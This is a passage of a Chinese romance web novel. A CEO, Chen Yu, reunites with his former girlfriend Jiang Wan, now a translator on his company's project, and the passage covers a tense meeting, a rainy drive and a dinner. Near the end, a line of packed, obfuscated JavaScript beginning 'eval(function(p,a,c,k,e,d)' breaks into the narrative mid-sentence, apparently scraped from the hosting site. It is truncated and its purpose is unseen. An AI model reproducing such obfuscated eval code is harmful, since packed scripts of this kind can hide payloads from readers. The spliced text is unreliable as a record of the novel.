孟云程不知道他心里的这些想法,只是单纯地担心他:“你老实告诉我,你是不是还喜欢她?” 陈屿垂着眼,没回答。 孟云程却像是以往那些面对不听话孩子的操心家长一样,先是重重叹了一口气,继而开始喋喋不休:“陈屿,你长点心吧!这都多长时间了,你怎么就过不了这个坎呢?” 他生气,但更多的是心疼:“当初她不告而别,你这些年怎么过来的,我可都是看在眼里。同样的地方,我不想你再摔倒第二次。” 清脆的一声响,是陈屿把最后一口酒喝完,玻璃杯磕在了玻璃桌上:“击剑,去不去?” 孟云程诧异:“你他妈疯了吧,现在几点了,你还去?” 陈屿起身,拿起沙发上的外套,淡淡开口:“那我去了。” 孟云程恨铁不成钢,在他身后无奈开口:“记得找代驾!” 工作日,击剑俱乐部的人并不多,在连续击败了两个业余选手后,陈屿把目标投向了他的私人教练。 跃步,弹跳,刺击,精准的动作,强悍的攻击,连带起的剑风里,似乎都有一股悚然的飒飒声。 久而久之,教练逐渐有些招架不住了,按目前的局势,陈屿今天铁定是赢了。俱乐部内部之间的较量,通常都是点到为止,往常到这个时候,双方也就应该暂停了,可陈屿并没有。 而是仍旧持续不断地,不停歇地,朝着对面发起攻击。 姜挽!姜挽!姜挽! 此刻他满脑子都是她 八年前的,现在的,那场雨,她的不告而别,还有再见后对他的躲避,她留给他的,永远都是背影! 陈屿的心有多痛,他手上的剑就有多狠,仿佛化身一头野兽,想要击碎眼前所有的一切。 教练一开始还有点懵,后面也感觉出来了,他这个样子,根本就不像是击剑,反而更像是在发泄情绪。 眼见着马上就没办法再接下他的攻击,情急之下不得不当场举手,然后冲着他大喊:“Halte!Halte!” 陈屿这才停下动作。 教练摘下面罩,气喘吁吁地看着他。 接着是陈屿,面罩之下,是一张冷漠戾气的脸,尤其那双眼睛,漆黑如深潭,让人不敢轻易与之对视。 教练虽是外国人,可中文却说的很流利:“Eric,你刚才是怎么回事?从没看过你这样,你是失控了吗?” 对,他是失控了,可陈屿却并不打算承认。 重剑,防护服,还有各种外衣和手套鞋袜,他一一脱掉放回去,整个过程一言不发。 教练也看出他的反常了:“你需不需要帮助?” 最后一件装备卸除,陈屿拿起外套往外走:“不用。” 从俱乐部出来,他没直接叫代驾,而是站在路边,从烟盒里掏出一根烟。“啪”的一声响,银制打火机燃起一小簇火苗,他咬着烟凑近,火光在他眉眼处落下一小片橘黄色的阴影,更衬得他棱角锋利,五官清绝。 其实,也不怪孟云程会那样说他,连他自己有时候都觉得自己挺贱的。被甩,被骂,被抛弃,即便这样,他心里还是忘不了她。 这些年,他努力拼搏,学习各种管理知识,自认在能力方面已经有了很大的提升,独自管理一个公司也不在话下,可偏偏面对这件事,他却一点长进都没有。 48. 第 48 章 尼斯度假村项目的周例会,定在每周三,由项目经理组织安排,主要内容是总结当前项目进展和明确下一步的工作计划。 来GSC这几天,这还是姜挽第一次参加如此正式的会议,因此她很重视。准备好资料,带着电脑,姜挽提前来到会议室。 到的时候,项目经理已经在了,两人之前见过,又因为这几天经常邮件往来,所以还算熟络。 “周经理。”姜挽先打招呼,项目经理姓周,单名一个“海”字,年纪四十上下,戴眼镜,整个人看起来很斯文。 “Annie,你来了。”声音也斯文。 周海正忙着连接设备,但对姜挽还算热情:“你昨天提交的那段翻译我看过了,翻译得很好,用词和逻辑都没有问题,尼斯这个项目的翻译工作由你来负责,我觉得可以放心了。” 他口中的翻译片段,是姜挽昨天临下班前才接到的通知,不算正式的翻译工作,更像是一些宣传语。这些她以前也做过不少,所以翻译起来还算得心应手:“您觉得合格就行。” “合格,当然合格了,毫不夸张地说,是我干项目这么久以来,见过最合格的了。”电脑已经连接上了投影,周海开始演示,“你先坐,我看下效果。” “好,那您先忙。”姜挽端着电脑,找了一个不怎么显眼的位置。 陆陆续续的,参加会议的人员都到齐了,周海调整好投影,打算正式开始。 突然,会议室的玻璃门从外面被推开,随着脚步声,走进来一抹高大的身影。深黑色西装,银灰色领带,头发全部拢起,棱角分明的五官全部暴露出来,行走间一股矜贵与凛冽相融的上位者气势。 是陈屿。 姜挽坐得离门口近,最先看到他,一瞬间有点没反应过来,她不知道,这个会原来他也会参加。 其他人比她更迷茫,甚至屏息着不敢发出任何声响,一瞬间齐刷刷都从凳子上站了起来,紧张地等待着这位大领导的特别指示。 毕竟,这种级别的会,他们以前也从没见过陈总参加。 玻璃门从外面被关上,轻轻一声响,周海最先回神,他反应很快,赶紧将主座的位置放出来:“陈总,您坐。” 陈屿却摆摆手,很不在意:“不用,我就是随便过来听听,你们该怎么开就怎么开,不用管我,就当我不存在。” 说罢,他朝四周看一眼,像是没什么所谓,随便挑了一个最普通的座位,指着姜挽对面,开口:“我坐这儿就行。” 他坐,其他人这才跟着坐下。 “那好,您随意。” 话虽这样说,可他一个这么大的领导在这,周海还是难免紧张,酝酿了好一会儿,才想起来自己原本的会议流程。第一项,便是介绍项目成员。 这里除了姜挽,其他人都是GSC的员工,所以关于她的介绍,周海多说了两句。也是为了方便她以后的工作,他不仅提到了姜挽的工作背景,还特意表达了对她翻译的认可,以昨天那段翻译为例。 项目里突然来了一个新人,还是一个如此级别的大美女,没有人会不感兴趣。一时间,所有的眼神,微笑和注意力全部都投在了姜挽身上,甚至有性格外向的,当场就和她打起了招呼。 姜挽都一一应下,报以同样的回应。视线一排看过去,不小心扫到陈屿脸上,微笑顿时凝固在。他没笑,表情甚至还有点冷,眉压着眼,很明显的不耐烦。 或许是因为不喜欢她这个人,也可能是觉得刚才周海对她的夸奖有失偏颇,总之,他不认可她。 果然,下一秒他便伸手敲了敲桌子,几声“咚咚”响后,清冷的声线接着传出来:“好了,这种形式主义就不要搞了,好不好的,还要看最后的结果。” 即使已经提前有了心理暗示,可亲耳听到他这么说,姜挽还是觉得心里沉闷得难受。像是被什么看不见的东西拉扯着,不断地往下坠落。 陈屿这话,不仅没给姜挽面子,就连在场的其他人,也一并没给。一时间,会议室陷入沉默,没人敢再随意开口。 周海出来打圆场:“好,我们就直接进入正题,先来总结下目前的项目进度……” 一个小时的会议,除了一开始的小插曲,整下来体还算顺利,周海将各个细节都具体分配到了人,接下来便是有条不紊地按照计划推进了。 而陈屿,也果然如他一开始进来的时候说的那般,除了开场那句话,后面全程没再发言,只当个听众。甚至在好几次周海问他的意见时,他也没说什么,说他是项目经理,他决定就好。 只不过会议结束后,他是第一个离开的。 突然来,又第一个走,大家都有点猜不透这位大领导的意思,纷纷开始猜测。 周海不喜欢这种,他是一个干实事的人,领导的心思基本不猜,只关注如何把事情干好,于是几句话便安排大家散了会。 只是在姜挽离开前,他多说了两句,可能是担心她第一次开会,被刚才的情况吓到。 他是好心,姜挽也知道,但其实没必要的,毕竟这种情形,她早不是第一次见了。 “周经理,您放心,作为一名专业的翻译人员,这点心理素质我还是有的。” “那行,你这么说,我也就放心了。” 另一边,回到办公室的陈屿,脸色也没好到哪去。宋泽宇过来提醒他接下来的会议安排,被他一通摆手敷衍道:“推了,今天上午别再给我安排会了。” 宋泽宇有点愣,他一愣,说话就容易直接:“为什么?” 陈屿心里烦,这会儿也没耐心和他细说,右手原本正在口袋了来回翻着打火机,突然“啪”的一声扔在桌上:“我做什么还需要向你解释吗?怎么连你也来烦我?” 他是真烦,刚才会上看见那么多人盯着姜挽,气得差点当场就要发作。但他没理由,也没立场,所以才忍着一口气到结束,第一个就离开了会议室。 宋泽宇被骂,整个人委屈得差点哭出来,可他嘴上还是开口:“刘总这会儿还在会议室等着,这已经是他这个月来的第五次了,不见到您,他今天是不会离开的。再说了,这次的会议安排,之前也和您确认过的。” 他这么一说,陈屿有印象了,是那个翰林的刘铮,在北城也算有些地位,只是他这个人做生意不老实,陈屿不愿意和他合作。可北城地产的圈子就这么大,保不准哪天哪一场会议就碰上了,所以,有些时候,他也不得不从中斡旋。 刚才他被气得够呛,所以一时间有些情绪上头,换作其他人,是断然不敢和他如此硬碰的,肯定在他说了那句话之后就离开了,可宋泽宇不同。这小子原则很强,只要是他认为有用的事情,就会坚持。 这也是为什么在这小子性格比较直,能力也不是最厉 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哪知方简简听了却连连摇头:“这你就不知道了,虽说GSC每周确实有很多项目会,可能让陈总亲自参加的,却几乎没几个。除了集团的大项目,这种级别的,尼斯度假村是第一个。” 能看出来,方简简对这些很有研究,她说话的时候眉飞色舞,尤其是提到陈屿的名字时,那表情就更夸张了,姜挽一时也说不好那是一种什么表情,但总感觉不大自在。 她收了视线,没再看:“那可能是他对这个项目比较重视吧,毕竟作为领导,应该也会有自己的特殊考量。” 其实还有一个原因她没说,结合今天会上的情况来看,姜挽觉得陈屿可能不信任她的可能性更大。觉得她,以及她们这个小公司是没办法完成这个大项目的,所以才要来亲自监督。 其实话题到这,基本就可以结束了,正常情况下也没人会再追问,可方简简却像是没意识到似的,再次贴了上来:“那关于他这个人呢?他在会上怎么样?严肃吗?还是说是比较好说话的那一种?” “我其实没仔细看。”姜挽很老实地和她坦白,除了一开始陈屿进门的时候她有点震惊外,其余时间,她基本没再注意他,所有的注意力全都在会议内容上,自然也就不知道他的反应了。 “不是吧,这么好的机会你都不看?先不提他那张脸了,就是他的总裁身份,在GSC也是一句话就能决定所有人生死的。”方简简开始畅想,“要是能和他搭上关系,别说转正GSC了,就是以后升职加薪也指日可待啊。” 她的语气很惋惜,听起来姜挽像是错过了一次重大的“改变人生”的机会,可通过这几次她和陈屿的接触来看,姜挽知道,他绝不是一个随便三言两语就能搭上,也不是一个拿工作当儿戏的人。 要想留在GSC,还有实现方简简说的那些,除了努力工作,其他几乎没有可能。更何况,她也没想着以后留在这里,能顺利把这个项目做完就够了。 姜挽垂着眼,开始翻找之前做的笔记,她这会儿是真不打算再继续聊这个话题了:“我没想过这些,目前还是想着先把工作做好。” 很意外地,听到她这样说,方简简反而很高兴:“对对,你这种想法也不错,比较适合你这种能力突出,踏实肯干的人。” 49. 第 49 章 上午开完的会,下午周海便把会议纪要发出来了,当前进展,后续计划,以及每个人的工作任务和需要注意的细节,每一项,他都安排得很仔细。 对照邮件,姜挽开始认领自己的工作,翻译,整理,还有提交日期,基本和她会上记录的笔记差不多。确认没什么问题,她正打算关掉,突然眼前什么东西一闪,是邮箱里再次收进来了一封邮件,发件人显示是陈屿,而且,好巧不巧地,她还被@了。 老实讲,有点紧张,毕竟陈屿之前对她的态度她也领教过,要是在这种场合再刻意说些让她难堪的话,其实挺尴尬的。 可该来的总会来。 怀着忐忑的心情,姜挽还是打开了,可打开后却发现还好,除了强调翻译的重要性,告诉姜挽有什么困难可以随时联系GSC的人员,甚至也可以联系他之外,其余倒是没说什么。 虽然知道这只是一些场面话,可姜挽还是忍不住有些动容,这应该是他们重逢以来,陈屿第一次用如此平和的语气和她说话了。 办公室有人在泡茶,缭绕一段茶香飘来,清甜中还带着点苦涩的味道,让姜挽想到八年前,想到她之前在北城的那些日子,还有她和陈屿的过往。 但只一瞬,她便回神,点击邮件,开始答复:【收到,谢谢您。】 陈屿发完邮件后,基本就守在电脑边,看到姜挽回复了,而且还回复得这么快,弯起的嘴角压都压不住。 其实,他原本发这封邮件也没有其他的意思,只是为了引起她的注意而已。如今目的达到,整个人顿时感觉神清气爽。 可转眼瞅见邮件里的那个“您”字,又有点不爽。整天面对他不是“您”,就是“陈总”,叫来叫去的,听得他是真烦。 为了避嫌,他邮件里其实还@了其他人,这会儿他们也在一一回复,收件箱里接连收进来好几封邮件,陈屿看都没看,直接退出,转而去研究公司的战略计划了。 —— 工作的时候,时间总是过得格外快,尤其是在姜挽这儿。不知不觉间,窗外已暮色四合,其他同事都已经下班了。 北城下午的时候落了雨,这会儿虽然停了,可天色依旧阴沉着,说不准什么时候就会再次开始。看一眼窗外的天色,姜挽没再耽误,快速将今天的工作收了尾。 收拾完准备走,门口处却突然传来一阵响声,姜挽抬眸去看,是办公室门从外面被推开了。 因为角度和办公桌遮挡,姜挽并不能清晰地看清门口的那个人,她背着包走过去:“请问您……” 一句话还没说完,她赫然顿住,同时停下的,还有她手上的动作。因为此时站在门口的人不是别人…… 又是陈屿。 她来GSC总共也没几天,没想到碰见陈屿的几率却出奇地高,而且每次还都是在她下班的时候,这种情况,一个单纯的“巧合”怕是已经不足以形容了吧。 姜挽猜陈屿应该也没想到会这么巧,所以才会赶在她之前匆匆开口:“我来找林洁。” “哦,”姜挽看了眼林洁的办公室,“林经理下班了。” 林洁是负责翻译部的经理,姜挽来GSC的这几天,偶尔也会和她打交道。 陈屿点点头,脸上没什么表情:“我看到了。” 他这样说,显得她刚才的那句话像是很多余似的,姜挽抿唇,没再说什么:“那您还有其他的事吗?没有的话,我也打算下班了。” “没有。”话虽这样说,可陈屿却并未离开,而是绕过她,直接朝靠近角落的方向走了几步。 那里,是姜挽工位的地方。 上次来的时候人太多,他没看清,这次仔细观察,才发现她这个位置真是不怎么样,环境也一般。好在书桌收拾得很整齐,绿植,照片还有小玩偶,整体还算有生活气。 姜挽在原地看着他,对他这行为有些疑惑,刚想问,陈屿却突然开口:“其他人都下班了?” 很明显,这也是一个显而易见的问题。姜挽拿不准他问这话的目的,也怕贸然开口又显得自己话很多似的,所以这次,她谨慎地没开口,而是安静等待他的后话。 果然,陈屿继续开口了,而且像是一开始就没打算听她回答,语句流利又格外理所当然:“怎么每次碰到你,你都在加班?是因为尼斯项目的工作量太大了,还是你本身工作能力的问题?” 这问题问的,让她如何答? 承认项目的工作量太大,不就也间接承认了她能力有问题吗?说来说去,绕这么大一圈,他就是为了挖苦她而已。 果然,下午邮件里的那点善意,不过是场面话罢了。 姜挽轻呼一口气,尽量控制着自己的情绪。因为她知道,这话她反驳不得:“工作量不大,是因为我新接手这类项目,需要学习的东西很多,所以花费的时间会多一些。” “哦?是吗?”陈屿随意拿起旁边的一本宣传册,胡乱翻了几页,继而抬眸,眼神中戏谑明显,“你什么时候也学会口是心非这一套了?” 一瞬间,胸口尖锐地疼了一下,姜挽赫然抬头,眼底除了震惊,更多的是受伤。他就这么讨厌她吗?讨厌到她说真话,也要被怀疑的地步? 对上她的眼神,陈屿莫名觉得心烦意乱,“啪”的一声,他把宣传册随意丢在旁边的办公桌上,语气比刚才还要恶劣:“如果真是这样的话,那么我劝你好好学,我早说过了,GSC不会陪你们玩儿什么成长类的游戏,我要的是结果。” “这话您已经说过很多次了。” 言下之意,他不用一再强调。 姜挽回看着他,神色坦然:“您放心,既然合同佳译都签了,我们就一定会按照合约如期完成翻译。您即便再不相信我,也总该等到翻译出来,项目结束,验收效果的那一刻再下定论吧。” 陈屿没说话,皱着眉看她。 一瞬间,办公室里安静下来,只能听见窗外大风卷着树梢的声音。 很突然的,陈屿笑了一下,是那种很轻的,完全不达眼底的笑:“你说的对,既然如此,那我就拭目以待了,希望姜小姐不要让我失望。” 话题到这,姜挽没再接,她现在只想赶快回家:“您还有其他的事吗?没有的话,我要下班了。” 说完这句,姜挽就打算走了,谁知下一秒,陈屿却突然说道:“我送你。” 姜挽怀疑自己听错了:“什么?” “你不是要下班了?”这会儿,陈屿的脸上已经没有刚才那股莫名其妙的笑意了,老实说,他冷脸的时候,还真挺吓人的。 冒着被挖苦讽刺的风险,姜挽还是开口问了:“所以呢?” 陈屿干脆直接来到她面前,隔着几步的距离,他停下:“我正好也打算下班,外面一会儿可能会下雨,我可以送你一程。” 他这来回变化还真是挺大的,姜挽也不太懂,是不是当大领导的都这么喜怒无常,可不想让他送这点,她还是很肯定的:“不用了,谢谢您,我坐地铁回去就行。” 陈屿再次迈近一步,垂眸看她,两人之间的安全距离被打破,姜挽不自觉垂下眼睫,双手撑住身后的办公桌。 “怎么,怕我?还是讨厌我?”陈屿打量着她,用居高临下的角度,用轻嗤的鼻音,“你放心,大家都是成年人了,都是为了工作而已,你不用想太多。” 姜挽想说她没有,可陈屿似乎却并不打算给她机会,在她开口前,迅速掌握主动权:“再说了,谁年轻的时候还没做过几年蠢事呢?之前的那些事我早不记得了,你不会还记得吧?” 他这话说的再清楚不过了,指的是八年前,他和她的那些事。 是,姜挽记得,每一件她都清清楚楚地记得。 可此刻她却不敢开口,甚至都不敢对上他的眼神。 这是他们重逢后,陈屿第一次正面提起他们二人之前的那些过往,只不过姜挽没想到,他竟然会用“蠢事”两个字来形容,而且还是那么一种鄙夷的语气。 很长时间,姜挽都没说话,眼睫却颤抖得厉害。 见她这样,陈屿再次开口:“姜挽,你不会还对我抱有什么想法吧?还是你觉得,这么多年过去了,我对你还有意思?” 称呼变了,语气也变了,更犀利,更讽刺,直指她的内心。 “当然不会,”姜挽抬眸对上他的视线,冷静,自持,还有她不得不伪装的坚强,“就像您说的,既然是蠢事,也就没必要记得了。而且您大可放心,我知道自己如今的身份,我也知道自己来GSC的任务,你完全不必担心我会对您有什么其他的想法。” “这样最好,”这次,陈屿没笑了,神色也比刚才严肃,“那走吧,今天就算不是你,是任何一位其他的同事,我都会做出同样的举动。” 不去,不仅显得她小心眼,还会得罪他,姜挽似乎并没有其他的选择。 出门一阵凉风,姜挽今天穿的不多,身体露在外面的部位都觉得有些凉,她拿手去挡,被陈屿看到了,他皱着眉道:“在这等我。” 好端端的,姜挽不明白他怎么又生气了,可为了避免不必要的矛盾,她还是识趣地没吱声。 这个点的地下车库没什么人,空荡荡一片,而且姜挽还是第一次来,所以她总觉得有点不自在。好在陈屿动作很快,没一会儿一辆黑色迈巴赫便从不远处驶来,随即一脚刹车,在她身旁停下。 车窗降下,陈屿还是那副不怎么高兴的样子:“上车。” 姜挽没犹豫,拉开后座的车门就要坐上去,却听到前排的陈屿幽幽开口道,“虽然我是不在意,可你也不能真就把我当成司机吧?” 一时间,姜挽有些僵住了,她当然不是把他当成司机了,只是觉得以他们两人目前的关系,坐副驾驶实在不是一个合适的选择:“抱歉,我只是……” 陈屿像是不想听她解释那么多,很敷衍地打断她:“坐前面,或者你来开,你自己选。” “我坐前面。”姜挽很干脆。 这两个选项甚至都不用考虑,多犹豫一秒,都是她对自己的认知不到位。且不说她这些年基本没怎么碰过车,就算经常开,面对他这辆,她也不敢啊。 陈屿这辆车具体多少钱她不知道,可大概的价位还是了解的,依照北城这路况,她要是一不小心蹭到或者刮到什么的,估计把她整个人卖掉都不够赔的。 上车,系安全带,然后检查东西,所有可以让她假装很忙的事情,姜挽都做完了,这才不得不端坐着,目不斜视地直视前方。 她做这些的时候,陈屿始终没动,像是已经看透了她拙劣的演技,静静看她表演。在她停下所有的动作后,才轻嗤一声,一脚油门驶离了车库。 出来,果然下雨了。 噼里啪啦的,是雨点砸在车窗和车顶的声音,姜挽暗自庆幸,幸亏有这声音在,才不至于让车里的气氛显得太尴尬。 她不想一直刻意盯着前面,也不想去看陈屿,所以只得把视线转向窗外。透过一片雨滴和水纹的车窗,看车子缓缓行驶在两侧种满行道树的市政路上,姜挽这才发现,这不是回她家的那条路。 也突然想起来,自她上车,陈屿好像也没问过她地址,看来,是在等她主动开口了。 “方便的话,麻烦您把我随便放在一个地铁站就行。” 说着,她就要去搜附近的地铁站,却听陈屿冷淡开口:“不方便。” “嗯?”因为他这句话,姜挽不得不侧眸去看他,恰巧红灯临停,陈屿也扭过头来看她,猝不及防地,两人就这么对视了。 路灯点点,照得他脸上半明半寐,眼神更是晦暗不明:“外面还在下雨,你刚才一直扒着窗户,没看到吗?” 看到了,正是因为看到了,姜挽才想让他把她放在地铁站,这样就不会耽误他太多的时间,也不用继续承受这压抑的气氛。 “坐地铁回去没事,不会淋雨。” “那出地铁了呢?你总不能只考虑眼前这一段吧?目光能不能放长远点?” 姜挽看着他,多少觉得他这句话有些小题大做了,可她现在毕竟还在人家的车上,也不好把话说得太直接,于是自以为好笑地开了个玩笑,想缓解气氛:“我们这种牛马,淋一点雨,也没什么关系。” 可话音落,却见陈屿根本没笑,可见他并不觉得好笑。 姜挽有点尴尬,正想着该如何再找个更合适的理由时,陈屿突然主动朝她看过来:“我饿了,先去吃饭。” 姜挽愣愣看着他,有点没跟上他的思维:“所以,您现在是要去吃饭的地方?” “有什么问题吗?” “没问题,”当然没问题了,“只不过,您在去吃饭之前,能不能先找个地把我放下来?我总不好跟着您一起去吧?” “为什么不能?” 为什么不能?当然是因为不合适了!听他这么问,姜挽都觉得他是故意如此了。 先不提他们如今是甲方和乙方的关系,就是他俩目前这个别扭的状态,也不是能够一起和和气气吃饭的呀。可话在嘴里转一圈,她开口却是:“我不饿。” “没人说让你吃,我是说我饿了。” 建议不被采纳,说话又被怼,即便姜挽性格再好,这会儿也有脾气了:“既然如此,那还是麻烦您找个地方把我放下吧,免得我跟着您,还会耽误您的行程。” 这次,陈屿没答,而是冲窗外扬了扬下巴,让她自己去看。 顺着他的动作,姜挽朝窗外看,这一眼,简直震惊。原本还在市中心行驶的车子不知何时已经上了环路,这下,她想下车都没办法了。 姜挽回眸,靠向靠背,重重叹了一口气。 陈屿淡瞥她一眼:“至于吗,就吃顿饭而已,能耽误你多长时间?” 后面的一路,他们俩谁也没再开口说话。 姜挽也不知道他到底要去哪里吃饭,反正就感觉七七八八地绕个没完,四十分钟后,车子终于在一家饭店门口停了下来,看装修,应该是一家西餐厅。 陈屿的车刚停下,便立马有工作人员过来帮他打开车门,还贴心地在他头顶撑起了伞。 陈屿没立即下车,而是转向姜挽,开口道:“怎么说,你要不要进去?” 这里,姜挽不熟悉,刚才手机上一通查找,发现最近的地铁站也在两公里之外:“不进去,我还有其他的选择吗?” “有,你可以在车里等我。” “那您要吃多久?” “这个不好说,可能一个小时,也可能两三个小时,主要看心情。” 一听这话,姜挽顿时蔫儿了,要她在车里等他这么久,还不如跟着上去呢,就算不吃饭,至少也可以呼吸点新鲜空气。 陈屿这会儿还算可以,没再继续挖苦她,而是主动帮她递台阶:“一起吧,吃完就送你回去。” “好吧,那麻烦您了。” 说吧,姜挽打算推门下车,陈屿却让他等一下,姜挽一时没明白他的意思,待看他从工作人员手里接过雨伞,绕到她这一侧的时候,才明白,他大抵是想帮她撑伞。 好意她心领了,可觉得没必要。 姜挽忙摆手道谢,说不用。眼下雨也不是很大,况且从车上到餐厅门口也就十几米的距离,她跑过去就行了。 陈屿在后面看着她跑进雨里的纤弱背影,皱着眉没说话。 刚才在车上的时候看不明显,这会儿来到门口,姜挽才发现这家餐厅其实很大,装修也很豪华。而且,这里的人明显认识陈屿,刚进门,便立马有人迎上来叫他“陈先生”,当然看在陈屿的面子上,对方也很客气地和她打了招呼。 姜挽跟在他们后面,边走,边领略了一场视觉的盛宴,周遭仿佛都笼罩着一股欧洲古堡的神秘与优雅。 进门先是接待区,精致繁复的水晶吊灯从高处垂下,落下的光线给周围的摆设都镀上一层耀眼的光芒。踩着柔软舒适的长绒地毯,他们经过一条挂着各种壁画的长走廊,再迈步旋转楼梯直接上二楼,入目是一片VIP座位,服务员带他们来到了视野最好的一个。 高档的桌椅,典雅的餐桌布置,还有各种相得益彰的色彩搭配和绿植花卉,每一处细节,都彰显着这家餐厅的格调。 服务员也认识陈屿,直接开口:“陈先生,请问您今天有什么特殊的要求吗?还是和之前一样呢?” “和之前一样。” “好的,那请问您旁边的这位女士呢?” 姜挽刚想说她不用,没想到陈屿比她更快开口:“哦,她不吃,帮她倒一杯白水就行。” 他这话说得格外自然,丝毫不带一点犹豫。虽说这确实是她心中所想,可从他口中就这么说出来,姜挽总觉得有点不符合他的身份。 怎么说也是一个公司的大老板,在外面总得要点面子,立个人设吧,可陈屿明显并不在意这些。也或许,是因为实在讨厌她,所以在她面前连假装都不愿意。 想到这些,心情难免有些沉闷,姜挽并不想总是囿于这些情绪之下,于是干脆直接拿出手机拍窗外的夜景。 灯光挥煌,霓虹闪烁,从这个角度往下看,能看到她以往从未见过的景色。 陈屿倒是也没再和她搭腔,兀自看着自己的手机。 很快,陈屿点的餐便送过来了。当然,还有姜挽的那杯白水。 刚才没看到吃的东西时还好,现在眼前摆着满桌的美食,再加上午饭后姜挽就再没吃过东西,嘴巴或许可以撒谎,但肚子不会呀。 她端起水杯小口喝着,借眼角的余光去看,先是开胃菜,一小份鹅肝搭配鲟鱼鱼子酱,摆盘精美又雅致。然后是浓郁的奶油蘑菇汤,再来是主食牛排和蔬菜沙拉,还有最后那份做成青梅形状的慕斯小蛋糕,一眼看过去,就知道是米其林大厨的水平,和她以往吃的那些量大管饱的廉价西餐完全不一样。 陈屿这个时候,倒是也还算绅士,又问了她一遍“要不要吃”。 姜挽当然摇头了,输什么也不能输了气势。她在陈屿这本来形象就不够好,要是再因为这件事被他扣上一个“出尔反尔”的帽子,那以后就别想翻身了。 陈屿没再问,只是他接下来的动作也很奇怪,一不吃菜,二不喝汤的,反而在那里一刀一刀,慢条斯理地切着牛排。切好了也不吃,而是重新放回餐盘里。 姜挽觉得再坐下去,简直就是对自己食欲和身体的折磨,她起身,想换个地方:“您知道洗手间在哪里吗?” 陈屿头都没抬,随手指了一个方向。 姜挽下意识道谢:“谢……” 可一个“谢”字刚说完,肚子里突然传来几声“咕噜咕噜”的声音,她尴尬极了,连忙伸手按住。 闻声,陈屿抬眸看她,眼神里明显的问询意味:“刚才是?” 姜挽打算蒙混过去:“什么都没有,您听错了。” 陈屿拧眉:“你是在质疑我的听力?” “当然不是,”姜挽心虚地解释,“可能是我因为起来得太急了,身体还没反应过来。” “哦?是吗?” 他们互相看着,在这暖黄的灯光下,谁也没再继续开口,各自守着自己的心事,还有暗处那些无法言说的秘密。 最后,当然是姜挽率先败下阵来,因为她要出去,陈屿又恰巧坐在路口的位置:“麻烦让一下。” “不让。”陈屿很干脆,话说着,还将腿又往路口的方向伸了几分,这下,姜挽彻底没办法出去了。 “……什么意思?” “没什么意思,”陈屿指了指刚才那盘他切好的牛排,“把牛排吃了再去。” “我……吃吗?” “这里除了你,还有别人吗?” “……” 这又是因为什么?姜挽简直不能理解他的脑回路。费劲巴拉地开车过来,仔仔细细地切好,现在却让她吃,他图什么? 莫非…… 这牛排有问题,所以需要她以身试毒? 还是说这里面有什么猫腻,他故意让她吃,等着看她的笑话? 当人遇到一些正常逻辑没办法解释的事情时,思考的方向就会逐渐偏向离谱。 “就让你吃一盘牛排而已,你想什么歪门邪道呢?”陈屿有些不耐烦了。 姜挽犹豫了下,还是坦诚开口:“我需要一个理由。” “什么理由?” “一个让我吃这份牛排的理由。” “姜挽你……”陈屿差点被她气笑了,“你是不是有病?吃东西而已,要什么理由?” 姜挽想说“你病得也不轻”,可考虑到目前两人工作的雇佣关系,她还是忍了下来,但该坚持的原则是一点也没退,“您不告诉我一个合理的理由,这牛排我是不会吃的。” 陈屿直直看着她,也说不上来是生气,还是觉得好笑,见拗不过她,到后来,竟真的开始思考:“你刚才肚子在叫,饿了吃东西,再正常不过的事情,这个理由够吗?” 哪知姜挽却摇头:“不够,我是饿了,可这和您又有什么关系呢?毕竟您一开始来的时候说的也是自己要吃,我饿不饿的,其实也并不在您的考虑范围内。” 陈屿没想到,他随口胡诌的一句,她竟然当真了。这问题解释起来太费劲,于是他干脆选择了最直接的恐吓方式:“姜挽你瞎想什么呢!吃点东西而已,推三阻四的,这是你面对甲方该有的态度吗?还是说你担心这牛排有问题,我等着你吃完之后看你出丑?” 姜挽没回答,可那表情却再明显不过了,她确实是这么想的。 “你真是……”陈屿压着火,觉得她真是莫名其妙,小肚鸡肠。可转念一想,她能有这么强的安全意识,倒也不是一件坏事。至少能证明她在遇到其他人,处理其他事情的时候,也会有这么高的警惕性。 这么一想,陈屿的火便瞬间消了大半, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这么多年了,没想到她还记着这件事。 话出口,姜挽也觉得尴尬,她刚才没想那么多,现在回想才意识到,这种私密的话题,只适合朋友之间讨论。可她如今和陈屿的关系,连普通的同事都算不上,更别说讨论这种话题了,他肯定觉得她多管闲事。 姜挽开始慌张地找理由:“其实我是说……这家店的味道还挺不错的。” 可陈屿却偏偏没顺着她转移话题:“已经好了。” “什么好了?” “我的过敏。” “哦,是吗,那挺好的。” 他过敏好了,姜挽当然替他高兴,可高兴之余,也难掩失落,他们真的是太长时间没见了。长到她现在完全看不懂他,长到她不了解他的任何一个生活细节。 “你不想知道我是怎么好的吗?” “您方便说吗?” “不方便。” “那我就不问了。” 其实他过敏能好这件事,说起来也挺邪乎的。就是姜挽刚离开的那年,陈屿实在难以坚持,很长一段时间都需要去酒吧来缓解这种痛苦。 酒精,灯光,还有一切嘈杂的环境,都能让他短暂地解脱,暂时逃避这种折磨。 有一次喝酒的时候,旁边不知道是谁放了一包花生,那会儿他其实已经有点喝飘了,但大概还知道这是花生。可能是酒精驱使吧,让他产生了一种恶念,吃吧,大不了住院,有了这些身体上的痛苦至少心理就不会那么难受了。 所以,那天陈屿整整吃了一包,孟云程看到的时候,吓得当场叫了120。 可奇怪的是,最后陈屿却一点事也没有。 也是从那天以后,他再没去过酒吧。 一个话题,分别挑起了两个人的伤心事,所以后半段,他们两人谁都没再说话。 吃完饭,陈屿说话算话,取了车便打算先送姜挽回去。 上车后,陈屿问她地址,姜挽回他:“芳草街十五号。” 没听过。 “哪个区?”陈屿又问。 “开发区。” “哦,”这下知道了,“那在南边。” 陈屿启动车子,但没开导航。 姜挽提醒他:“不需要用导航吗?” “现在不用。” “哦,好。” 考虑到应该没有任何一个人喜欢在自己开车的时候,其他人在旁边指手画脚,所以后续姜挽也就没再因为这个事情多说话。 而且,她之所以不说,其实还有另外一个原因。她注意到刚才陈屿开车过来的时候也没用导航,也许,他就是不喜欢用,所有的路线都在脑子里了。 可开了三十分钟之后,姜挽却逐渐发现有些不对劲了。 “怎么感觉我们一直在绕路呢?” “没有,你感觉错了。” “没有吗?这个地方我们刚才好像来过。” “这种地方北城到处都是,你看错了。” “不对,虽然建筑是差不多,可周围的树不一样,我不会看错的。”姜挽很坚持。 陈屿有点不耐烦:“怎么?你很着急回去吗?” 姜挽反问他:“您不着急吗?都这么晚了?” 